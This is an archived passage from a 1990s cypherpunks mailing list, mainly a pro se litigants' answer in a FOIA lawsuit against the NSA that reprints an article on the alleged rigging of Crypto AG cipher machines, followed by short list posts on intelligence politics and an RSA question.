Mitchell makes a claim in her REPLY.

Mitchell writes,

  It continues to be Defendant's position that Plaintiffs'
  Complaint for Injunctive Relief ("Complaint") filed February
  28, 1997 must be dismissed.

This ANSWER contains a cross-claim answer. 

Namely, give the public the documents legally requested under 

the FOIA.

3  Mitchell writes,

  Plaintiffs make the sweeping assertion that the "29 cases
  in Mitchell's MEMORANDUM ... do NOT APPLY to the facts in this
  case.  However, they cite to absolutely no case law to support
  their position.

No citations to case law are required for the reason that

Plaintiffs EXHAUSTED THEIR ADMINISTRATIVE REMEDIES, as stated

by NSA deputy director William P. Crowell.

Plaintiffs support their position by FACTS in this matter.

Mitchell attempts to force Plaintiffs to support the FACTS in 

this lawsuit with case law. 

Mitchell cited case law that applies ONLY when those seeking 

documents under the FOIA did NOT exhaust administrative 

remedies.

Mitchell's case law DOES NOT APPLY to this lawsuit for the 

reason that Plaintiffs DID EXHAUST ADMINISTRATIVE REMEDIES.

Lawyer Mitchell appears to attempt to apply the Nazi strategy  

   If you tell a big enough lie often enough, people
   will begin to believe it.

The lie Mitchell is attempting to convince readers of these

documents of is that Plaintiffs DID NOT exhaust administrative 

remedies.

Plaintiffs DID EXHAUST ADMINISTRATIVE REMEDIES.  NSA deputy

director and NSA FOIA/PA Appeals Authority William P. Crowell

writes 31 December 1996 

	Because the process of your request has not 			
	progressed to a point where there have been any 	
	initial, substantive Agency determination of the 	
	release or withholding of responsive records, I can 	
	offer you no administrative remedy.

4  Mitchell writes,

  The legal authority relied upon I the Memorandum in Support 
  of Defendant's Motion for Partial Dismissal and Motion for
  Summary Judgment (hereinafter referred to the "Memorandum"),
  provides clear legal basis for the Court to either dismiss
  Plaintiff's [sic] Complaint, or granting summary judgment to 
  Defendant as a matter of law.

Plaintiffs disagree.  Mitchell cites no case law to support

the above paragraph.

Rather Plaintiffs lawfully requested documents, mostly of 

KNOWN EXISTENCE AND LOCATION, and, as the Court may be aware

  When an administrative appeal is denied, a requester has
  the right to appeal the denial in court. A FOIA appeal 
  lawsuit can be filed in the U.S. District Court in the     
  district where the requester lives. The requester can also   
  file suit in the district where the documents are located or 
  in the District of Columbia. When a requester goes to court, 
  the burden of justifying the withholding of documents is on 
  the government. This is a distinct advantage for the 
  requester.
  
Mitchell wrongly seeks to have Defendant withhold the requested 

documents for the reason that she CLAIMS Plaintiffs have failed 

to exhaust administrative remedies.  

Bur Plaintiffs HAVE EXHAUSTED ADMINISTRATIVE REMEDIES as NSA 

former deputy director Crowell told Payne IN WRITING.

5  Mitchell writes,

  In Paragraphs 1-6 of Plaintiffs' Response, Plaintiffs appear
  to be claiming the Defendant has misrepresented this facts
  concerning Plaintiff Payne's Freedom of Information Act/
  Privacy Act("FOIA/PA") requests.  It is true that Plaintiff
  Payne did file two FOIA request with the National Security
  Agency ('NSA/Agency") and that NSA did not respond with the
  statutory time limit.  It is also true that Plaintiff Payne
  appealed with NSA the nonresponse to both requests and 
  subsequently received a letter dated 31 December 1997, from
  William P. Crowell, the Freedom on Information AC/Privacy
  Act appeals Authority.  Mr. Crowell stated, among other things
  that no administrative remedy could be offered at that time.

Lawyer Mitchell's "at that time" appears to be an argument that

Plaintiffs should wait indefinitely for NSA to produce requested

documents.  Plaintiffs exercise their rights and proceed to 

court as the law allows when administrative remedies have been

exhausted.

Mitchell UNSUCCESSFULLY ATTEMPTS to make a valid argument that 

Plaintiffs had to wait even longer AFTER ADMINISTRATIVE REMEDIES

WERE EXHAUSTED before filing a FOIA lawsuit.

6  Mitchell writes,

  Attachment 4 to Exhibit A, the Winch Declaration attached to
  Defendant's Memorandum.

NSA employee GARY W. WINCH [Winch], Director of Policy, made

a false statement under oath in an unsuccessful attempt to

reverse NSA deputy director Crowell's letter informing Payne

that administrative remedies were exhausted.

Winch's violation of the False Statement Act earned Winch

a criminal complaint affidavit file with selected magistrate

judge Antonin Scalia.

6  Mitchell writes,

  Despite the fact that Mr. Payne was clearly informed that he   
  could treat the letter from William P. Crowell as a denial of
  his appeal and he could proceed under 5 U.S.C. section 552 to
  seek judicial review of the determination, Mr. Payne did not
  proceed to exercise his right to file a civil lawsuit in the
  United States at that time.

Mitchell unsuccessfully attempts to make a valid argument that 

IMMEDIATELY UPON receiving Crowell's letter that Plaintiffs

were REQUIRED to file a lawsuit.  Mitchell cites no law to

support her argument.

The reason Mitchell cites no law is that the law does not

specify WHEN a plaintiff must file a lawsuit.

As the court may know 5 USC 552 states

  (B) On complaint, the district court of the United States
  in the district in which the complainant resides, or has his
  principal place of business, or in which the agency records     
  are situated, or in the District of Columbia, has jurisdiction 
  to enjoin the agency from withholding agency records and to 
  order the production of any agency records improperly withheld 
  from the complainant. In such a case the court shall determine  
  the matter de novo, and may examine the contents of such 
  agency records in camera to determine whether such records or 
  any part thereof shall be withheld under any of the exemptions 
  set forth in subsection (b) of this section, and the burden is 
  on the agency to sustain its action. In addition to any other 
  matters to which a court accords substantial weight, a court 
  shall accord substantial weight to an affidavit of an agency
  concerning the agency's determination as to technical
  feasibility under paragraph (2)(C) and subsection (b) and
  reproducibility under paragraph (3)(B).
    (C) Notwithstanding any other provision of law, the
  defendant shall serve an answer or otherwise plead to any
  complaint made under this subsection within thirty days after
  service upon the defendant of the pleading in which such
  complaint is made, unless the court otherwise directs for good
  cause shown.

So Mitchell's argument that Plaintiffs were required to file

this lawsuit within a specific time after receiving Crowell's

letter must be dismissed as not supported by law.

7  Mitchell writes,

    In a letter dated 6 January 1997, Plaintiff Payne was       
  advised that his request for a waiver of fees had been denied
  and informed him of the estimate of the cost to search for the
  records concerning the algorithms.

NSA was clearly attempting to deny furnishing the requested 

documents by asking Payne for money for SEARCHING for the 

documents.  Payne worked with NSA implementing NSA crypto 

algorithms for about ten years.   Payne KNOWS WHO has 

documents and about WHERE the documents are located.

NO SEARCH IS REQUIRED.

Asking for fees to SEARCH is clearly a unintelligent ruse

to deny furnishing the legally requested documents.

8  Mitchell writes

  Attachment 5 to Exhibit A, the Winch Declaration attached
  to Defendant's Memorandum.  Once that letter was received,
  Mr. Payne was clearly on notice that NSA was continuing
  to process his FOIA request, and he was specifically 
  notified that if he did not agree with the fee determination,
  he could appeal in writing with 60 days to the NSA/CSS 
  Freedom of Information Act Appeals Authority.  He chose not
  to appeal the denial of the fee waiver nor did he pay the
  estimated costs.  Exhibit A, Winch Declaration, at 5, section
  14.

Payne is not required to appeal fee determination denial if 

Plaintiffs are NOT SUING OVER A FEE WAIVER DENIAL.

Mitchell cites no law to show that Payne is required to appeal

a FOIA fee denial before filing suit for legally requested

documents.

Winch wrote,

  The search cost estimate was $1,317.50, as computed in 
  accordance with DOD regulations.  Mr. Payne was informed
  that 2 hours of search would be conducted at no cost to
  him as required by the FOIA In accordance with its 
  regulations, NSA requires advance  payment of cost 
  exceeding $250 prior to initiating a search. Mr. Payne 
  was so informed in the Agency's 6 January letter and was 
  requested to pay the $1,267.50 (the remainder of the 
  estimated search costs) within 30 days.

Winch CLEARLY attempts to scam Payne by asking for $1,317.50

for a SEARCH.  No search is required.

Filing a lawsuit permits Discovery WITHOUT LEAVE OF THE COURT.

Discovery is used to located documents.

  Rule 26 (b)(1) 
 
  Parties may obtain discovery regarding any mater, not     
  privileged, which is relevant to the subject matter  
  involved in the pending action, whether it relates to the   
  claim or defense of the party seeking discovery or to the 
  claim or defense of any other party, including the existence,  
  description, nature, custody, condition, and LOCATION of any 
  books documents, or other tangible thing and the identity and 
  location of persons  have knowledge of any discoverable  
  matter. 

Economics of clearly wasting $1,317.50 or paying $125 for this

public internationally Internet-viewed lawsuit clearly favored 

the latter approach to get the lawfully requested documents.

9  Mitchell writes

    Despite Plaintiffs unsupported protestation to the contrary,
  the law is absolutely clear that when a requester elects not
  to go to court immediately -in this case, immediately after
  receiving the letter dated 31 December 1996 and before   
  receiving the letter dated 06 January 1997 - he must exhaust
  all administrative remedies within the agency.  Mr. Payne
  must have administratively exhausted the decision on the fee
  waiver decision.  Oglesby v. Department of the Army, 920 F2.d
  57, 61 (D.D.Cir. 1990); McDonnell v. United States of America,
  4 F.3d 1227, 1240 (3d Cir. 1993).  He is not do so.
  

 Mitchell cites no law to support her statement that Plaintiffs

are REQUIRED "to go to court immediately."  In fact, appearance

is that Mitchell has made another false statement under oath.
    
The fee $1,317.50 Winch requested for a search for documents

of known location, or whose location could be established

with Discovery, did not have to be appealed to exhaust 

administrative remedies.

Payne could have appealed the denial of waiver of fees but

chose not to because this was clearly a ploy on Winch's part

to cost Payne money.  And Mitchell cannot, because their is

no requirement, cite law to show that Payne is required

to appeal a fee waiver denial if Plaintiffs are not using

about fee waiver denial.

If Plaintiff's WISHED, which they did not, to sue for

fee waiver, then Payne would have had to appeal the denial

of FEE WAIVER to exhaust administrative remedies.

5 USC 552 4(A) states about a fee waiver denial lawsuit

  (vii) In any action by a requester regarding the waiver of
  fees under this section, the court shall determine the matter
  de novo: Provided, That the court's review of the matter shall
  be limited to the record before the agency.

But this lawsuit IS NOT ABOUT WAIVER OF FEES, it is about 

obtaining the lawfully requested documents.

Mitchell again attempts, unsuccessfully, to distort the law

by citing Oglesby and McDonnell where administrative remedies

were NOT exhausted.

This lawsuit is about obtaining documents.

Plaintiffs DID NOT sue for fee waiver denial.  Therefore,

no appeal of FEE WAIVER DENIAL was required.

10  Mitchell writes

    Plaintiffs not attempt to excuse Plaintiff Payne's failure
  to exhaust the administrative appeal process, by claiming that   
  the request for payment is a "ploy" to avoid providing
  the documents.  Plaintiff Payne asserts that he knows where   
  the records are located with NSA because of his association
  with the Agency during his employment with Sandia National
  Laboratory [sic] and, therefore, he maintains that no search
  is required.  Plaintiffs' Response, at 4 section 9.  Plaintiff
  Payne also asserts that even if he had paid the estimated
  costs, the Agency would not have produced the documents.
  Within the specified guiltiness, the FOIA allows an agency to
  assess fees for processing requests made under the Act and
  to require advance payment of estimated fees if it is 
  determined that the fees will exceed $250.  5 U.S.C section
  552(a)(4)(A)(i), (v).  The obligation is to conduct a search,
  the scope of which is reasonably calculated to lead to the 
  discovery of responsive records.  Under the law, there is no
  requirement that records actually be discovered in a search
  for which a requester pays.  OMB Fee Guidelines, 52 Fed. Reg.
  10,011, 10,018 (1987).  Even if Mr. Payne did know the 
  location of the records, (and Defendant certainly does not
  agree that he does),  The Agency would still have an 
  obligation under the law to conduct an adequate search.  
  Further, even if the records are found, they may still be 
  withheld under various FOIA exemptions.  In fact, the letter 
  from James P. Cavanaugh dated 06 January 1997, specifically 
  informed Mr. Payne that if any responsive records were found, 
  they would still have to be reviewed for releasibility and 
  that the records of this type most likely would be classified 
  or otherwise exempt from disclosure. Attachment F to Exhibit A
  to Defendant's Memorandum.
    Plaintiffs make an unsupported argument that because NSA
  did not respond to the FOIA requests within the allotted time,
  and because NSA failed to return the green return receipt
  cards, (Plaintiffs' Response, at 2 section 4),"[t]he law
  allows at requester to consider that his or her request has 
  been denied . . . [t]his permits the requester to file an
  administrative appeal."  Even if this statement were true,
  it has not bearing on the facts before the Court.  Plaintiff
  Payne did not timely file in Federal court prior to receiving
  the January 1997 letter from NSA informing him of the fee
  determination.  He may not pursue his action in Federal 
  court because he has not exhausted administrative remedies.

Mitchell again is incorrect.

Two issues can come before the court.

  1 Demand for documents illegally withheld under the FOIA.
  2 Demand for fee waiver.  

Text of both laws are reproduced in this ANSWER.

The lawsuit is about 1.  NOT 2.

Administrative remedies were exhausted as Crowell stated.

And Plaintiffs proceeded to court as permitted by law. 

Mitchell, as an officer of the court, has again violated

the False Statement Act again by presenting to the Court

and argument not relying on the facts of this case.

Plaintiffs did, in fact, EXHAUST ALL ADMINISTRATIVE REMEDIES

as required to proceed to court.

11  Michell states,

    The remainder of Plaintiffs Response, [Paragraphs 7-14]
  is filled with unrelated pieces of information from various
  sources, suppositions, assumptions, and accusations, all
  apparently designed to challenge the Agency's decision that
  to admit or deny the existence of the Iranian and Libyan
  messages and translations would reveal classified information.
  As discussed in some depth in Defendant's Memorandum, the
  Agency is accorded great deference in the area, and nothing
  Plaintiffs have presented rises to level of evidence to show
  "bad faith" by the Agency in it decision-making process.
  Halperin v. CIA, 629 F.2d 144, 148 (D.C. Cir. 1980).
    In addition, Plaintiffs appear to be claiming that 
  information concerning records of Iranian message traffic
  and translations has been put into the public domain by
  both former President Reagan and various authors or books and
  newspapers.  Plaintiffs bear the burden of "pointing to
  specific information in the public domain that appears to
  duplicate the information withheld." Afshar v. Department of
  State, 702 F2.d 1125, 1130 (D.D.C. 1989).  With regard to 
  classified material pertaining to national security concerns,
  court have held that unofficial leaks and public surmise can
  often be ignored by foreign governments that might perceive
  themselves to be harmed by disclosure; but official 
  acknowledgment may for a government to retaliate. Afshar,
  702 F.2d at 1131.
    Defendant submit that, in this case, all Plaintiffs have 
  done is identify a mishmash of information from various
  public sources, including the Internet, and then claim that
  if it is published in some manner, it must be true.  Such a
  conglomeration of information does nothing to satisfy 
  Plaintiff's burden in this regard.  Plaintiffs cannot point
  to any source which published the documentation which 
  Plaintiffs asserts exists:  NSA intercepted the Libyan message   
  and translations between January 21, 1980 and June 19, 1996.    
  In addition, generalized allegations that classified 
  information has been leaked to the media or otherwise made 
  available to the public will not defeat an Exemption 1 claim 
  under the FOIA. Executive Order 12958 section 1.2 (c); Public 
  Citizen v. Department of State, 11 F.3d 198, 201 (D.C. Cir. 
  1993).

Michell's statement,

  Plaintiffs cannot point to any source which published the 
  documentation which Plaintiffs asserts exists:  NSA 
  intercepted the Libyan message and translations between 
  January 21, 1980 and June 19, 1996.

is clearly false as the following Internet news story

attests.


  NSA, Crypto AG, and the Iraq-Iran Conflict 

                    by J. Orlin Grabbe 

One of the dirty little secrets of the 1980s is that the U.S. 
regularly provided Iraq's Saddam Hussein with top-secret 
communication intercepts by the U.S. National Security 
Agency (NSA). Consider the evidence. 

When in 1991 the government of Kuwait paid the public 
relations firm of Hill & Knowlton ten million dollars to drum up 
American war fever against the evil dictator Hussein, it 
brought about the end of a long legacy of cooperation 
between the U.S. and Iraq. Hill & Knowlton resurrected the 
World War I propaganda story about German soldiers 
roasting Belgian babies on bayonets, updated in the form 
of a confidential witness (actually the daughter of the
Kuwaiti ambassador to the U.S.) who told Congress a tearful 
story of Iraqi soldiers taking Kuwaiti babies out of incubators 
and leaving them on the cold floor to die. President George 
Bush then repeated this fabricated tale in speeches ten times 
over the next three days. 

What is remarkable about this staged turn of events is that, 
until then, Hussein had operated largely with U.S. approval. 
This cooperation had spanned three successive 
administrations, starting with Jimmy Carter. As noted by 
John R. MacArthur, "From 1980 to 1988, Hussein had 
shouldered the burdenof killing about 150,000 Iranians, in 
addition to at least thirteen thousand of his own citizens, 
including several thousand unarmed Kurdish civilians, and in
the process won the admiration and support of elements of 
three successive U.S. Administrations" [1]. 

Hussein's artful slaughter of Iranians was aided by good 
military intelligence. The role of NSA in the conflict is an open 
secret in Europe, the Middle East, and Asia. Only in this 
country has there been a relative news blackout, despite the 
fact that it was the U.S. administration that let the crypto cat 
out of the bag. 

First, U.S. President Ronald Reagan informed the world on 
national television that the United States was reading Libyan 
communications. This admission was part of a speech 
justifying the retaliatory bombing of Libya for its alleged 
involvement in the La Belle discotheque bombing in Berlin's
Schoeneberg district, where two U.S. soldiers and a Turkish 
woman were killed, and 200 others injured. Reagan wasn't 
talking about American monitoring of Libyan news 
broadcasts. Rather, his "direct, precise, and undeniable proof" 
referred to secret (encrypted) diplomatic communication
between Tripoli and the Libyan embassy in East Berlin. 

Next, this leak was compound by the U.S. demonstration that 
it was also reading secret Iranian communications. As reported 
in Switzerland's Neue Zurcher Zeitung, the U.S. provided the 
contents of encrypted Iranian messages to France to assist 
in the conviction of Ali Vakili Rad and Massoud Hendi for 
the stabbing death in the Paris suburb of Suresnes of the 
former Iranian prime minister Shahpour Bakhtiar and his 
personal secretary Katibeh Fallouch. [2] 

What these two countries had in common was they had 
both purchased cryptographic communication equipment from 
the Swiss firm Crypto AG.  Crypto AG was founded in 1952 
by the (Russian-born) Swedish cryptographer Boris Hagelin 
who located his company in Zug. Boris had created the
"Hagelin-machine", a encryption device similar to the German 
"Enigma". The Hagelin machine was used on the side of the 
Allies in World War II. 

Crypto AG was an old and venerable firm, and Switzerland 
was a neutral country. So Crypto AG's enciphering devices for 
voice communication and digital data networks were popular, 
and customers came from 130 countries. These included the 
Vatican, as well the governments of Iraq, Iran, and Libya. Such 
countries were naturally skeptical of cryptographic devices 
sold in many NATO countries, so turned to relatively neutral 
Switzerland for communication security. 

Iran demonstrated its suspicion about the source of the leaks, 
when it arrested Hans Buehler, a top salesman for Crypto AG, 
in Teheran on March 18, 1992. During his nine and a half 
months of solitary confinement in Evin prison in Teheran, 
Buehler was questioned again and again whether he had
leaked Teheran's codes or Libya's keys to Western powers. 
Luckily Buehler didn't know anything.   He in fact believed in 
his own sales pitch that Crypto AG was a neutral company 
and its equipment was the best. They were Swiss, after all. [3] 

Crypto AG eventually paid one million dollars for Buehler's 
release in January 1993, then promptly fired him once they 
had reassured themselves that he hadn't revealed anything 
important under interrogation, and because Buehler had begun 
to ask some embarrassing questions. Then reports appeared on
Swiss television, Swiss Radio International, all the major 
Swiss papers, and in German magazines like Der Spiegel. Had 
Crypto AG's equipment been spiked by Western intelligence 
services? the media wanted to know. The answer was Yes [4]. 

Swiss television traced the ownership of Crypto AG to a 
company in Liechtenstein, and from there back to a trust 
company in Munich. A witness appearing on Swiss television 
explained the real owner was the German government--the 
Federal Estates Administration. [5] 

According to Der Spiegel, all but 6 of the 6000 shares of Crypto 
AG were at one time owned by Eugen Freiberger, who resided 
in Munich and was head of the Crypto AG managing board 
in 1982. Another German, Josef Bauer, an authorized tax 
agent of the Muenchner Treuhandgesellschaft KPMG, and 
who was elected to the managing board in 1970, stated that his 
mandate had come from the German company Siemens. Other 
members of Crypto AG's management had also worked at 
Siemens. Was the German secret service, the 
Bundesnachrichtendienst (BND), hiding behind the Siemens' 
connection? 

So it would seem. Der Spiegel reported that in October 1970, 
a secret meeting of the BND had discussed how the Swiss 
company Graettner could be guided into closer cooperation 
with Crypto AG, or could even merged with it. The BND 
additionally considered how "the Swedish company Ericsson
could be influenced through Siemens to terminate its own 
cryptographic business." [6] 

A former employee of Crypto AG reported that he had to 
coordinate his developments with "people from Bad 
Godesberg". This was the location of the "central office for 
encryption affairs" of the BND, and the service instructed 
Crypto AG what algorithms to use to create the codes. The 
employee also remembers an American "watcher", who 
strongly demanded the use of certain encryption methods. 

Representatives from NSA visited Crypto AG often. A 
memorandum of a secret workshop at Crypto AG in August 
1975, where a new prototype of an encryption device was 
demonstrated, mentions the participation of Nora L. 
Mackebee, an NSA cryptographer. Motorola engineer 
Bob Newman says that Mackebee was introduced to him 
as a "consultant". Motorola cooperated with Crypto AG 
in the seventies in developing a new generation of
electronic encryption machines. The Americans "knew Zug 
very well and gave travel tips to the Motorola people for the 
visit at Crypto AG," Newman told Der Spiegel. 

Knowledgeable sources indicate that the Crypto AG 
enciphering process, developed in cooperation  with the NSA 
and the German company Siemans, involved secretly 
embedding the decryption key in the cipher text. Those who 
knew where to look could monitor the encrypted 
communication, then extract the decryption key that was also 
part of the transmission, and recover the plain text message. 
Decryption of a message by a knowledgeable third
party was not any more difficult than it was for the intended 
receiver. (More than one method was used. Sometimes the 
algorithm was simply deficient, with built-in exploitable 
weaknesses.) 

Crypto AG denies all this, of course, saying such reports are 
"pure invention". 

What information was provided to Saddam Hussein exactly? 
Answers to this question are currently being sought in a 
lawsuit against NSA in New Mexico, which has asked to see 
"all Iranian messages and translations between January 1, 1980 
and June 10, 1996". [7] 

The passage of top-secret communications intelligence to 
someone like Saddam Hussein brings up other questions. 
Which dictator is the U.S. passing top secret messages to 
currently? Jiang Zemin? Boris Yeltsin? 

Will Saddam Hussein again become a recipient of NSA 
largess if he returns to the mass slaughter of Iranians? What 
exactly is the purpose of NSA anyway? 

One more question: Who is reading the Pope's 
communications? 

              Bibliography 

[1] John R. MacArthur, Second Front: Censorship and 
Propaganda in the Gulf War, Hill and Wang, New York, 1992. 

[2] Some of the background of this assassination can be found 
in "The Tehran Connection," Time Magazine, March 21, 1994. 

[3] The Buehler case is detailed in Res Strehle, Verschleusselt: 
der Fall Hans Beuhler, Werd Verlag, Zurich, 1994. 

[4] "For years, NSA secretly rigged Crypto AG machines so 
that U.S. eavesdroppers could easily break their codes, 
according to former company employees whose story is 
supported by company documents," "No Such Agency, Part 4: 
Rigging the Game," The Baltimore Sun, December 4, 1995. 

[5] Reported in programs about the Buehler case that were 
broadcast on Swiss Radio International on May 15, 1994 and 
July 18, 1994. 

[6] "Wer ist der befugte Vierte?": Geheimdienste unterwandern 
den Schutz von Verschlusselungsgeraten," Der Spiegel 36, 
1996. 

[7] U.S. District Court for the District of New Mexico, 
William H. Payne, Arthur R. Morales, Plaintiffs, v. Lieutenant 
General Kenneth A. Minihan, USAF, Director of National 
Security Agency, National Security Agency, Defendant, 
CIV NO 97 0266 SC/DJS. 

November 2, 1997
Web Page: http://www.aci.net/kalliste/

Michell attempts to make a valid argument that withholding of 

intercepted message is proper because they are classified.

Mitchell references EO 12958 1.2,

  c) Classified information shall not be declassified  
  automatically as a result of any unauthorized disclosure of 
  identical or similar information.
  
Plaintiffs continue to believe, classification abuse aside, that

NSA should come clean about it bungled spy sting on Iran

and settle with its victims.  And US courts should not help NSA 

hide.

Clearly NSA getting caught in, according the Baltimore Sun,

the most "audacious" spy sting in its history, spiking crypto 

units so that the crypto key is transmitted with cipher text 

falls under EO 12958, Sec. 1.8. Classification Prohibitions and 

Limitations.

  (a) In no case shall information be classified in order to:
  (1) conceal violations of law, inefficiency, or administrative 
  error;
  (2) prevent embarrassment to a person, organization, or 
  agency;
  (3) restrain competition; or
  (4) prevent or delay the release of information that does not 
  require protection in the interest of national security. ...

Not section 1.2.

Clearly, NSA getting caught is one of the greatest blunders in 

intelligence history fall under 1.8 (1) and (2).  

And also may account for the greatest number of dead victims.

But this is one part of this of this lawsuit. To get a help

get a count of the dead and maimed.

12 Mitchell writes

    Plaintiffs' allegation in the Response at Paragraph 9,
  at 4, that sanctions under the discovery rules might finally
  cause the Agency to produce some of the requested records is   
  fallacious.  This is a FOIA action; the purpose is to   
  determine whether  or not the Plaintiffs are properly in
  Federal Court, and whether or not the documents requested
  have been properly withheld under FOIA law.  It is not 
  appropriate to use the discovery rules contained in the 
  Federal Rules of Civil Procedure to bypass the requirements
  of the FOIA.

Mitchell is incorrect in her statement, " This is a FOIA 

action ..."

This is a LAWSUIT which WILL BE conducted under the Federal 

Rules of Civil Procedure.  Even in New Mexico.

Mitchell attempts to inject the rules of the FOIA into 

the Federal Rules of Civil Procedure.  Plaintiffs will continue

to object.

The Plaintiffs have EXHAUSTED ADMINISTRATIVE REMEDIES and are

in court to obtain documents illegally withheld.  Plaintiffs

will use the tools available, including Discovery, under the

Federal Rules of Civil Procedure to locate and get the 

documents.

Plaintiffs ARE NOT in court to sue about waiver of fees.

13  Mitchell concludes

    Plaintiffs' Response contains no legal support for their
  contention that they are entitled to the requested 
  information.  Contrary to their assertion, the legal citations
  contained Defendant's Memorandum ARE most certainly relevant,
  because they contain the legal basis on which this Court must
  base it decision.  Plaintiffs' Complaint must be dismissed,
  or in the alternative, summary judgment must be granted to
  defendant.

Mitchell cites no legal support for her arguments.  Rather 

Mitchell has UNSUCCESSFULLY ATTEMPTED to make Plaintiffs'

lawsuit into a fee waiver denial lawsuit.  This is not a

fee waiver lawsuit. This is a lawsuit to obtain lawfully

requested documents.
  
			CONCLUSIONS

1  Replace judges Svet and Campos because these judges

have demonstrated, IN WRITING, they do not follow the 

Federal Rules of Civil Procedure.

2  Remove lawyer Mitchell from the lawsuit for criminal 

violation of the False Statement Act. And violation of

the lawyers Rules of Professional Conduct.

Specifically Mitchell's violated in her REPLY 

  In all professional functions a lawyer should be competent,
  prompt, and diligent.


  A lawyer should use the law's procedures only for legitimate
  purposes and not to harass or intimidate other.

  [i]t is also a lawyer's duty to uphold the legal process.

  Failure to comply with an obligation or prohibition imposed
  by rule is a basis for invoking the disciplinary process.
  
  A lawyer shall not bring or defend a proceeding, or assert
  or controvert and issue therein, unless there is a basis for
  doing so that is not frivolous, which includes a good faith
  argument for an extension, modification or reversal of 
  existing law.

  A lawyer shall not knowingly:

  (1) make a false statement of material fact of law to a
  tribunal.

  (4) offer evidence that the lawyer knows to be false.

   A. make a false statement of material fact or law to a third
   person; ...

  16-804.  Misconduct
  C. engage in conduct involving dishonest, fraud, deceit or
  misrepresentation;
  B. commit a criminal act that reflects adversely on the 
  lawyer's honesty, trustworthiness or fitness as a lawyer
  in other respects.

3  Have replacement judges ORDER Defendant to immediately 

produce documents in machine-readable format for publication on 

Internet. 	In preparation for settlement of  this unfortunate 

bungled spy sting.  And analysis of 'deficient' NSA 

cryptographic algorithm work designed to get the US government 

out of the cryptography business.

Respectfully submitted, 
 
 

                    _________________________ 
                    William H. Payne             	   	     
                    13015 Calle de Sandias NE          	     
                    Albuquerque, NM 87111              	     

 
 			    Telephone approval
                    Morales in New Orleans
                    _________________________				 
                    Arthur R. Morales                            
                    1024 Los Arboles NW                         
                    Albuquerque, NM 87107                        
 
                    Pro se litigants 
 
 
               CERTIFICATE OF SERVICE 
 
I HEREBY CERTIFY that a copy of the foregoing memorandum
was mailed to Lieutenant General Kenneth A. Minihan, USAF, 
Director,  National Security Agency, National Security Agency, 
9800 Savage Road, Fort George G. Meade, MD 20755-6000 
and hand delivered to Jan E Mitchell, Assistant US Attorney, 
525 Silver SW, ABQ, NM 87102 this Friday November 28, 1997. 




18






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Nov 1997 22:26:49 +0800
To: cypherpunks@toad.com
Subject: Naked Stealth
Message-ID: <1.5.4.32.19971128141419.006dcb54@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The 26 November Guardian reports on the bungled case
of the UK hacker who allegedly threatened US national
security by hacking the Rome AFB system (and scaring the
bejesus out of the North Koreans to boot) while searching
for Area 51 info on aliens. 

The case was thrown out by the court as way overblown
and unproveable, though the USG got a lot of mileage from
it for "terrorist threats."

It hoots at the USAF's crack cyber-security team in San 
Antonio who over-mobilized to trace the terrifying teenager
by most sophisticated means, not knowing that the kid had 
already been nabbed by Scotland Yard thanks to a 
traditional-means informant.

Now the officer who led the AF hunt is working the cyber-scare
circuit peddling the top gun technology -- top secret of course,
can't even be revealed by court order.

   http://jya.com/naked-gun.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 28 Nov 1997 23:40:29 +0800
To: John Young <jya@pipeline.com>
Subject: Naked Spook Fascism / Re: Naked Stealth
In-Reply-To: <1.5.4.32.19971128141419.006dcb54@pop.pipeline.com>
Message-ID: <347EE136.4E0F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
>    http://jya.com/naked-gun.htm

SUMMARY: Britain is thinking of moving to a government/corporate
 merger system of secret intelligence agencies, but without making
 it an 'open secret' as is done in the US.

Bickford revealed that, in 1995, the intelligence agencies had secretly 
suggested to the Major government that they develop links to large 
companies in order to provide them with "protective business 
intelligence".

The main threat to Britain now was "serious economic crime" and 
"super-terrorism", involving the use of weapons of mass destruction, he 
said. 

Not only were "operational officers with long experience in 
intelligence" being lost to the private sector, others were lost because 
they had to take up management posts instead of carrying on in
intelligence. Tax payers were having to pay for this "waste of
experience", Bickford claimed. 

A new "national intelligence agency" should be formed, he added, in 
order to provide protective business intelligence. It could even charge 
for its services. It was "long overdue" for the Parliamentary 
Intelligence Oversight Committee to instigate the process of 
amalgamating the three agencies. 

Bickford's call for more intelligence and security expertise for 
business was backed by Sir Peter Imbert, former Commissioner of the 
Metropolitan Police, and other senior ex-police officers. 

[Duncan Campbell is a freelance writer and broadcaster, and not the 
 Guardian's crime correspondent of the same name]

POST-SUMMARY: Truth in Fascism will allow for greater efficiency in
  sending citizens and troops overseas to die for Texaco and Pepsico,
  since there will no longer be a need to waste time and resources
  on promoting some bullshit 'freedom and democracy' claptrap to
  justify the murder of foreigners who fuck with corporate cash
  flow.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Sat, 29 Nov 1997 01:28:39 +0800
To: cypherpunks@Algebra.COM
Subject: Hat3 gr0ups
Message-ID: <19971128.102422.12887.2.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



could any kind soul please repost the message on hate groups and
how mentioning the founding fathers constitutes a hateg roup.



thanks


This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: emmanuel coutris <coutris@ie2.u-psud.fr>
Date: Fri, 28 Nov 1997 17:54:06 +0800
To: cypherpunks@toad.com
Subject: Algorithms
Message-ID: <199711280946.KAA09567@ie2_3.ie2.u-psud.fr>
MIME-Version: 1.0
Content-Type: text/plain



I search to program an encoder and decoder. I know the RSA encryption method but
I don't know how to apply it to a file (I have programmed it
only with numbers). Can you send me the way I can apply
this algorithm to files (binary and text).
Manu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 29 Nov 1997 01:15:11 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] Denizen
In-Reply-To: <199711281606.IAA10607@f111.hotmail.com>
Message-ID: <347EF808.7770@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Ralph Hotmail wrote:
> 
> In a moment of boredom, I took the opportunity to check into "Denizen".
> I also read his posts under a number of names to the critical mass
> mailing list and their replies. 

> In saner moments, Beckjord runs the UFO and Bigfoot Museum. 
> 
